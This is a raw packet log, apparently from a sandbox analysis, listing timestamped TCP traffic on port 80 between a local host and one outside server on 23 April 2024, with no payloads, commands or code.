Apr 23, 2024 09:38:20.166141033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166150093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166158915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166276932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.166362047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.317498922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317527056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317537069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317545891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317555904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317565918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317576885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317598104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317606926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317706108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317780018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317815065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.317903042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317919970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317936897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317953110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317969084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.317985058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.318001032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.318017960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.318033934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318111897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318892002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.318892002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367575884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367604971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367620945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367635965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367651939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367671967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367688894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367705107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367721081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367738008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367755890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367772102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367786884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367825031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367841959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367860079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367877007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367894888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367906094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367906094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367906094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367906094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367906094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367912054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367930889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367932081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.367949009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367965937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367981911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.367997885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368012905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368029118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368046045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368062019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368078947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368125916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368139982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.368139982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.518853903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518882990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518899918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518917084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518937111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518937111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.518954992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.518955946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518974066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518991947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.518992901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519007921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519011974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519026041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519037962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519047976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519054890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519066095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519073009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519089937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519097090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519105911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519114017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519124985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519129992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519138098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519150019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519165993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519166946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519184113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519188881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519200087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519202948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519221067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519226074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519237041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519257069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519741058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519759893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519778967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.519802094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.519814968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569139957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569173098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569201946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569217920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569237947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569241047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569257975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569266081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569276094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569293976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569308996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569309950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569318056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569328070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569344997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569350958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569361925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569375038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569379091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569395065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569401026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569411039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569423914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569428921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569446087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569449902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569466114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569482088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569497108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569511890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569514990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569528103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569544077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569559097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569561958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569570065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569578886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569586992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569596052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569612980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569617033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569629908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569645882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569647074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569660902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569664955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569677114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569680929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569696903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569699049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.569710970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569729090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.569740057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720289946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720320940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720339060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720355034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720375061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720392942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720408916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720423937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720426083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720443964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720459938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720469952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720475912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720487118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720493078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720509052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720510006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720527887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720536947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720544100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720558882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720570087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720576048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720577002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720592976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720603943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720609903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720649958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720658064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720665932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720679045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720683098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720700979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720707893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720717907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.720730066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.720757008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771313906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771356106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771370888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771387100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771401882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771418095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771434069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771440029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771442890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771460056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771476030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771483898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771491051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771507978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771523952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771523952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771523952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771542072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771552086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771559000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771574020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771583080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771589994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771605015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771606922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771625042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771631956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771658897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771660089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771677017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771687984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771692991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771706104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771709919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771720886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771727085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771743059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771750927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771759033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771770000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771776915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771794081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771796942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771812916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771826029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771830082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771836042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771847010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771857023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771863937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771879911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771893024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771897078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771909952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771917105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771934032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.771944046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.771970987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922621012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922650099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922667027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922683001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922700882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922718048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922734976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922750950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922766924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922782898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922799110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922852039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922869921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922887087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922903061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922911882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922924995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922935963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922945023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922961950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922962904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922981024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.922993898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.922996998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923002958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923016071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923027039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923032045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923048973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923058033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923065901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923082113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923088074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923100948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923110962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923118114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.923137903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.923157930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.972858906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.972879887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.972891092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.972906113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.972960949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.972996950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973025084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973129034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973146915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973164082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973180056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973196030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973198891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973217964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973221064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973236084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973246098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973254919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973267078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973272085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973290920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973298073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973308086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973320961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973320961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973323107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973332882 CEST	49733	80	192.168.2.4	185.172.128.76
